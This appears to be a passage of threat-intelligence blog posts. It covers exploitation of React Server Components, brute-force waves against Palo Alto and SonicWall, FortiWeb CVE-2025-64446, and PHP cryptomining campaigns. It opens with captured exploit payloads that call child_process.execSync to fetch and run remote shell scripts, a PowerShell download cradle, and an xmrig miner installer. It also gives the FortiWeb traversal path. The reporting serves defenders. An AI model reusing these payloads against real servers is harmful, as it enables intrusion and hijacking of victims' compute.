    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('ping 5axzi7[.]dnslog[.]cn",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAyADMALgAyADMANQAuADEAOAA4AC4AMwA6ADYANQAyAC8AcQBNAHEAUwBiACcAKQA=');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://162[.]215[.]170[.]26:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget http://46[.]36[.]37[.]85:12000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "process[.]mainModule[.]require('child_process').execSync('wget hxxp[://]vps-zap812595-1[.]zap-srv[.]com:3000/sex[.]sh && bash sex[.]sh');",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  },
  {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": "{\"then\":\"$B1337\"}",
    "_response": {
      "_prefix": "var res=process[.]mainModule[.]require('child_process').execSync('curl -s -L hxxps[://]raw[.]githubusercontent[.]com/C3Pool/xmrig_setup/master/setup_c3pool_miner[.]sh | bash -s 44VvVLU2Vmja6gTMbhNHAzc7heYTiT7VmQEXkjdaYo6K41WqH8qWw1CL8wKAAgz5xLYT3XL3pb9KCUZS7PPZbzUGCCpZ9Ee').toString().trim();;throw Object[.]assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
      "_chunks": "$Q2",
      "_formData": { "get": "$1:constructor:constructor" }
    }
  }
]

‍

As a supplement to our analysis, please see Censy’s blog on the situation, providing insight into exposed instances and more. Also be sure to check out this blog from GreyNoise Labs - React2Shell Side Quest: Tracking Down Malicious MeshCentral Nodes.

Dec 5, 2025

A Hidden Pattern Within Months of Credential-Based Attacks Against Palo Alto GlobalProtect

On 2 December 2025, GreyNoise observed a concentrated spike of 7,000+ IPs attempting to log into Palo Alto Networks GlobalProtect portals. All activity originated from infrastructure operated by 3xK GmbH and targeted two Palo Alto profiles in GreyNoise’s Global Observation Grid (GOG).

‍

‍

While the spike — both IP- and session-based — was brief, its significance became clear only when compared with earlier activity.

‍

A Returning Fingerprint

‍The December traffic shares three identical client fingerprints with a larger wave GreyNoise observed between late September and mid-October.

That earlier activity originated from four ASNs not generally associated with malicious infrastructure:

NForce Entertainment B.V. (AS43350)
Data Campus Limited (AS215929)
Flyservers S.A. (AS209588)
Internet Solutions & Innovations LTD. (AS211632)

Over several weeks, these ASNs generated over 9 million non-spoofable HTTP sessions, with the majority targeting GlobalProtect portals and related authentication surfaces.

‍

The return of the same client fingerprints — now from entirely different hosting infrastructure — indicates tooling continuity across what appear to be separate events.

‍

SonicWall Activity Shows the Same Fingerprints

On 3 December, GreyNoise also recorded a surge in scanning against SonicWall SonicOS API endpoints.

This traffic carried the same three client fingerprints, linking it directly to:

The 2 December GlobalProtect login spike, and;
The September – October login and bruteforcing spike.

The infrastructure changed. The vendors targeted were different. Yet, the client fingerprinting remained identical.

BLOCK IPS WITH GREYNOISE BLOCK

‍

‍

Campaign Cadence

The combined telemetry shows a clear sequence:

Late September – Mid October: high-volume login and bruteforce attempts from “clean” ASNs.
Late November: reduced activity, with intermittent sessions around the Thanksgiving period.
2 December: reappearance of the same scanning client on 3xK’s infrastructure, focused on Palo Alto portals.
3 December: SonicWall SonicOS API scanning using the same three fingerprints.

‍

Block IPs Linked to This Campaign

GreyNoise Block customers can block all IPs triggering these GreyNoise tags via GreyNoise Block, using the following templates:

Palo Alto (All activity)
SonicWall (All activity)

Customers can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

‍

Enterprise customers have targeted blocklists available in the platform (specifying ASNs, JA4, destination country, etc), supporting full queries leveraging the entirety of GreyNoise’s parameters.

PALO ALTO: BLOCK IPS WITH PLATFORM BLOCKLIST
SONICWALL: BLOCK IPS WITH PLATFORM BLOCKLIST

‍

‍In addition, defenders should:

Monitor authentication surfaces for abnormal velocity or repeated failures.
Track recurring client fingerprints to surface campaign continuity.
Apply dynamic, context-aware blocking rather than static reputation lists.

Fingerprint-level telemetry exposes cross-infrastructure relationships that defenders might otherwise miss.

All GreyNoise customers will receive more detailed information in our next At The Edge intelligence brief, including JA4T fingerprints and more.

GreyNoise will continue monitoring the situation and provide updates as necessary.

‍

— — —

‍

Noah Stone

Dec 4, 2025

Palo Alto Scanning Surges 40X in 24 Hours, Marking 90-Day High

GreyNoise has identified a significant escalation in malicious activity targeting Palo Alto Networks GlobalProtect portals. Beginning on 14 November 2025, activity rapidly intensified, culminating in a 40x surge within 24 hours, marking a new 90-day high.

GreyNoise has also identified strong connections between this spike and prior related campaigns. We assess with high confidence that these campaigns are at least partially driven by the same threat actor(s), supported by:

Recurring fingerprint: consistent TCP/JA4t signatures across all activity.
Shared infrastructure: recurring and highly concentrated use of the same ASNs.
Temporal correlation: activity spikes aligning across campaigns.

GreyNoise now offers two solutions to block these IPs:

Defenders can use GreyNoise Block to immediately block malicious IPs associated with this activity. GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Palo Alto Networks systems. Search for ‘Palo Alto’ in the Template Search Box. You will need to add ‘classification:suspicious’ to block the IPs we are seeing associated with this scanning activity. You can also modify the template to specify source country, other IP classifications, etc. New users can get started with a 14-day free trial.

BLOCK IPS WITH GREYNOISE BLOCK

‍

For GreyNoise customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters.

BLOCK WITH PLATFORM BLOCKLIST

‍

Surge in Palo Alto GlobalProtect Login Traffic

Since 11/14/2025, GreyNoise has observed 2.3 million sessions targeting the /global-protect/login.esp URI of Palo Alto PAN-OS and Palo Alto GlobalProtect.

Source Infrastructure

The campaign demonstrates a strong reliance on AS200373 (3xK Tech GmbH), expressed through two distinct geolocation clusters:

62% of all sessions originated from AS200373 geolocated to Germany, representing the majority and primary driver of the campaign.
An additional 15% of traffic also originated from AS200373, but was geolocated to Canada, suggesting distributed hosting or exit infrastructure operating under the same ASN.

The remaining traffic was primarily sourced from AS208885 (Noyobzoda Faridduni Saidilhom), forming a secondary but consistent contributor.

‍

Target Geography

Target countries: United States, Mexico, and Pakistan, each receiving nearly equivalent volumes of login attempts.

‍

JA4t Fingerprints

For hunting, two JA4t fingerprints encompass all related activity:

65495_2-4-8-1-3_65495_7
33280_2-4-8-1-3_65495_7

‍

‍

Infrastructure Concentration Across AS200373 and AS208885

The campaign’s infrastructure remains anchored in AS200373, with German-sourced traffic forming the most substantial segment. The parallel presence of a Canadian geolocation cluster within the same ASN—alongside persistent traffic from AS208885—indicates a distributed but coordinated hosting footprint.

‍

Historical Correlation With Fortinet Vulnerability Disclosures

GreyNoise research has consistently documented a strong historical pattern:

Spikes in Fortinet VPN brute-force attempts are typically followed by Fortinet VPN vulnerability disclosures within six weeks.

First identified in July, this trend continues to offer meaningful historical context for interpreting the current escalation in Palo Alto–focused activity.

Matthew Remacle

Nov 19, 2025

FortiWeb CVE‑2025‑64446: What We’re Seeing in the Wild

GreyNoise has begun seeing active exploitation of CVE‑2025‑64446, the critical path‑traversal flaw that lets an unauthenticated actor run administrative commands on Fortinet FortiWeb appliances. The vulnerability landed in CISA’s KEV catalog on November 13th, and within roughly 72 hours, our global honeypot fleet was met with crafted requests aimed at a range of FortiWeb versions (7.0–8.0). The story is as old as time: the patch notes went out, and a [coordinated] group of scanners has already started weaponising the flaw.

‍

The flaw in a nutshell

FortiWeb’s management API accepts a traversal string that can be abused to reach the internal cgi‑bin endpoint, for example:

‍/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi

When that endpoint is hit, the attacker gains the ability to execute privileged operations. The first exploit traffic hit our sensors on November 17, 2025, confirming a rapid weaponization cycle that matches the speed we typically see with high-impact edge-device vulnerabilities.

‍

What the wire is telling us

‍

‍

Our sensors observed eight distinct IPs probing at least six different JA4T (TCP) fingerprints and two JA4H (HTTP) fingerprints. Although the window sizes and MTUs vary, the ordering of TCP options (2‑4‑8‑1‑3) and the overall stack profile point to modern Linux‑derived clients rather than home routers or IoT devices. The TLS handshakes, however, were remarkably uniform: the dominant JA3 fingerprint is 9b72665518dedb3531426284fdec8237, a pattern we typically see from Python requests, libcurl‑derived stacks, or Firefox‑derived TLS libraries. In short: the same TLS implementation is being reused across multiple HTTP modules.

The infrastructure is spread across seven hosting providers—Flyservers, Clouvider, DigitalOcean, Kaopu Cloud, WorkTitans, InterHost, and HOSTKEY—with no residential, mobile, or commercial VPN presence. This distribution is classic for operators seeking resilience and deniability rather than a hobbyist “botnet‑of‑the‑week”.

User‑agent strings further betray the tooling. Some nodes cycle through hundreds of synthetically generated browser signatures, while others plainly identify themselves as python-requests/2.25.1 or node.js. A few even toss in Log4Shell‑style JNDI probes, indicating opportunistic hunting beyond just FortiWeb.

‍

BLOCK WITH GREYNOISE BLOCK

‍

Who is pulling the strings?

The behavior aligns with initial‑access brokers and ransomware affiliate group patterns: rapid adoption of a high‑value CVE, large‑scale scanning, multi‑CVE probing on the same hosts, and an infrastructure deliberately dispersed across unrelated providers. Three of the observed IPs have a history of scanning for a laundry list of other enterprise edge vulnerabilities (CrushFTP, Confluence OGNL, Sophos XG, ColdFusion, Ivanti Connect Secure, etc.). That indicates the possibility that this Fortinet weakness will be added to the same attacker pipelines.

‍

Current activity

So far, the traffic we see is limited to environment discovery, version validation, traversal attempts, and occasional multi‑port probes (443, 8443, 8080, 9443, 10443). We have not yet captured a successful post‑exploitation payload in our deception environments, but the attack surface is large enough that a “scan now, exploit later” approach is entirely plausible. Three source IPs — 193.182.144.250, 38.60.203.31, 46.17.103.97 — notably drew additional attention on our Fortinet Network Security Appliance sensors. According to Censys, 38.60.203.31 and 46.17.103.97 are classified as being located in bulletproof hosting (you’ll need to use the Censys’ new cencli tool to see that label, which does not appear in the Platform UI).

‍

What defenders should do right now

Block these IPs

GreyNoise Block is a fast and easy solution that includes an out-of-box blocklist tracking malicious IPs targeting Fortinet systems. Search for ‘Fortinet’ in the Template Search Box. You can modify the template to specify source country, other IP classifications, CVE ID, CIDR block, etc. New users can get started with a 14-day free trial.

‍

For customers who need a more targeted blocklist (specifying ASNs, JA4, destination country, etc), GreyNoise now supports full query-based blocklists leveraging the entirety of GreyNoise query parameters.

BLOCK WITH PLATFORM BLOCKLIST

‍

Patch now

Fortinet’s fixes are available; any FortiWeb management interface exposed to the Internet should be updated without delay.

‍

Audit your logs

‍Look for any of the following: traversal strings (../, %3f), unauthenticated POSTs to /api/v2.0/cmdb/, hits on /cgi-bin/fwbcgi, sudden spikes in user‑agent diversity, or requests originating from the hosting providers listed above.

‍

Lock down the management plane

if the admin interface is public, assume it’s already been probed. Move it behind an allow‑list, VPN or bastion host, and keep it off the public Internet whenever possible.

‍

Enable detailed logging and retain it for forensic use

If an exploitation attempt succeeded before patching, you’ll need that data to understand the breach.

‍

Looking ahead

GreyNoise will keep an eye on this campaign for a shift from reconnaissance to active post‑exploitation, for any movement onto new hosting providers, for tooling changes, and for the appearance of FortiWeb access listings on underground markets. The current signals suggest this is not a short‑lived flash of interest but a persistent inventory‑building operation targeting enterprise edge devices.

If you run FortiWeb, treat CVE‑2025‑64446 as an immediate operational risk. Patching and proper network segmentation are no longer optional—they are the line between staying off a threat actor’s target list and becoming the next compromised foothold in a larger access‑bundle.

Nov 19, 2025

PHP Cryptomining Campaign: October/November 2025

What we’re seeing

From August through October 2025, we observed (GreyNoise Visualizer) a clear ramp-up in exploitation attempts against PHP and PHP-based frameworks as actors push to deploy cryptominers. The query below captures a range of attempts (ThinkPHP, PHP CGI, PHPUnit, the recent PHP CVE-2024-4577, etc.), and the telemetry shows seven distinct attack patterns that move in parallel: steady in August–September, then spiking into October and November.

‍

‍

The loudest campaigns exploit ThinkPHP Framework LFI (CVE-2022-47945), PHP CGI (CVE-2012-1823), and PHP CVE-2024-4577, all of which show steep growth. Older chains (ThinkPHP Code Execution CVE-2019-9082, PHPUnit RCE) still produce meaningful volume—roughly 50–150 attempts per day—and the network graph implies these campaigns aren’t independent: they share infrastructure and tools, pointing to coordination or communal tooling.

‍

The infrastructure behind the attacks

Cloud providers constitute the majority of attacking IPs. Top offenders by IP count include Cloudflare (1,000 IPs), DigitalOcean (688), Google (536), and Contabo (512). The top 21 organizations account for about one-third of all attacking IPs—a mix of compromised customer VMs, misconfigured services, and rented infrastructure used for mining at scale.

‍

‍

Geographically, the attacks are global: German hosters (Contabo, Hetzner), Taiwanese carriers, and Chinese cloud platforms (Beijing Volcano Engine, Huawei, Alibaba) alongside large North American providers. Attackers are simply using whatever compute they can either rent or compromise.

‍

Why now: the cryptocurrency economics

Timing matters. With Bitcoin trading above $110,000 and the crypto market cap over $3.71 trillion, the math for miners is attractive. November has historically been a strong month for Bitcoin—the dataset going back to 2013 shows outsized gains in November (some years dramatically so). If Bitcoin rises from $70k to $110k, identical mining power suddenly produces ~57% more revenue.

Market projections referenced here are bullish—some analysts have mid-month price targets in the $120k–$125k range, and a few institutions have higher year-end targets. Monetary policy has also loosened recently: a 25-basis-point Fed cut in early November, the prospect of another cut in December, and an announced end to quantitative tightening on December 1 all increase liquidity that can flow into risk assets. Those conditions make mining more profitable now than a few months ago.

For attackers, that’s a simple incentive: higher price = higher payoff for the same stolen CPU cycles. They’re trying to scale into the window of maximum short-term profitability.

‍

The economics of cryptojacking

Cryptomining is attractive because its economics favor stealth and scale. Unlike ransomware, which requires victims and payment infrastructure, mining converts compute to coin with minimal friction. There are no negotiations, no human-in-the-loop—just silent revenue flow.

Cloud cryptojacking activity rose roughly 20% in 2025, showing that mining is now a commodity crime. The playbook is straightforward: scan, compromise, deploy a miner (binary, Docker image, or script), and funnel rewards to mining pools controlled by the attackers. Victims pick up the electricity and infrastructure cost while attackers collect the proceeds.

The barrier to entry is low: exploit kits, prebuilt miners, and scanners are widely available. Often, a successful chain of automated steps—probe, exploit, payload fetch, execute—is all that’s needed to get mining capacity online.

‍

Why PHP and internet-facing systems

PHP is everywhere: from tiny CMS installs to large web apps. Many sites run unpatched or old framework versions, and ThinkPHP—popular in parts of Asia but also found globally—shows up frequently in these campaigns.

The exploited vulnerabilities span a lengthy timeline (2012–2024), highlighting a core problem: old vulnerabilities don’t go away just because they’re old. Organizations patch parts of their stack, but legacy frameworks and forgotten installs remain exploitable. That persistence creates a reliable attack surface.

Internet-facing servers are preferred mining targets because they have more compute, run continuously, and often tolerate high resource use—so miners get better yield and longer uptime than they would from end-user devices.

‍

Why PHP matters in a cybersecurity context

Ubiquitous: Powers ~₇₅% of websites; even if you don’t use it, your partners and vendors do.
High-value target: Exploits in PHP apps (like WordPress or Drupal) are a top initial-access vector.
Low visibility: Web servers running PHP are frequently unmonitored and outdated—perfect entry points.
Common tradecraft: Criminals and nation-states alike use PHP web shells for persistence and lateral movement.
Operational takeaway: Inventory, patch, and monitor PHP systems—don't let “legacy web” become your soft underbelly.

‍

The operational pattern

These campaigns use methodical internet scanning to find vulnerable PHP installs. Exploitation is typically automated; the same exploit will successfully target hundreds or thousands of identical stacks. Cryptominer deployment follows a standard recipe and is typically fully automated.

Because mining doesn’t exfiltrate sensitive data or immediately crash systems, it can persist for long periods. The miner quietly consumes CPU/GPU cycles and reports work to attacker-controlled pools. Victims notice degraded performance and higher costs long before they realize they’ve been harvested for crypto.

‍

‍

The network graph demonstrates interconnected operations: different vulnerability chains (PHPUnit RCE, ThinkPHP, PHP CGI) share infrastructure, which suggests either a single large group or multiple groups reusing the same toolsets and pool infrastructure.

‍

The November window

This is early November 2025—historically a strong month for Bitcoin and, given current prices and recent monetary easing, an attractive window for miners. The activity spike through September and October looks like positioning: compromise now, mine during the high-value period.

If November follows historical patterns and prices climb materially, deployed miners will earn significantly more than they would have months earlier. The Fed’s easing and the end of QT add a tailwind for risk assets, further reinforcing the incentive for attackers to maximize deployed capacity now.

‍

What’s actually happening

Put bluntly, it’s volume economics. Scan thousands, compromise hundreds, deploy miners, and collect coins. The exploited PHP vulnerabilities range from trivial to complex, but automation compresses the skill requirement. Mining software and scripts are standardized; collection is automated via pools.

The campaigns we see are industrial in scale. Over 1,700 attacking IPs from major cloud providers suggest large botnets or significant rented infrastructure. Upward trends show successful scaling. Shared infrastructure and tooling point to coordination or a robust community market for exploitation and deployment tools.

Computing power → cryptocurrency → monetary value. When that chain lines up with favorable market conditions, criminal actors respond rationally: they increase mining capacity and run it while the window is lucrative.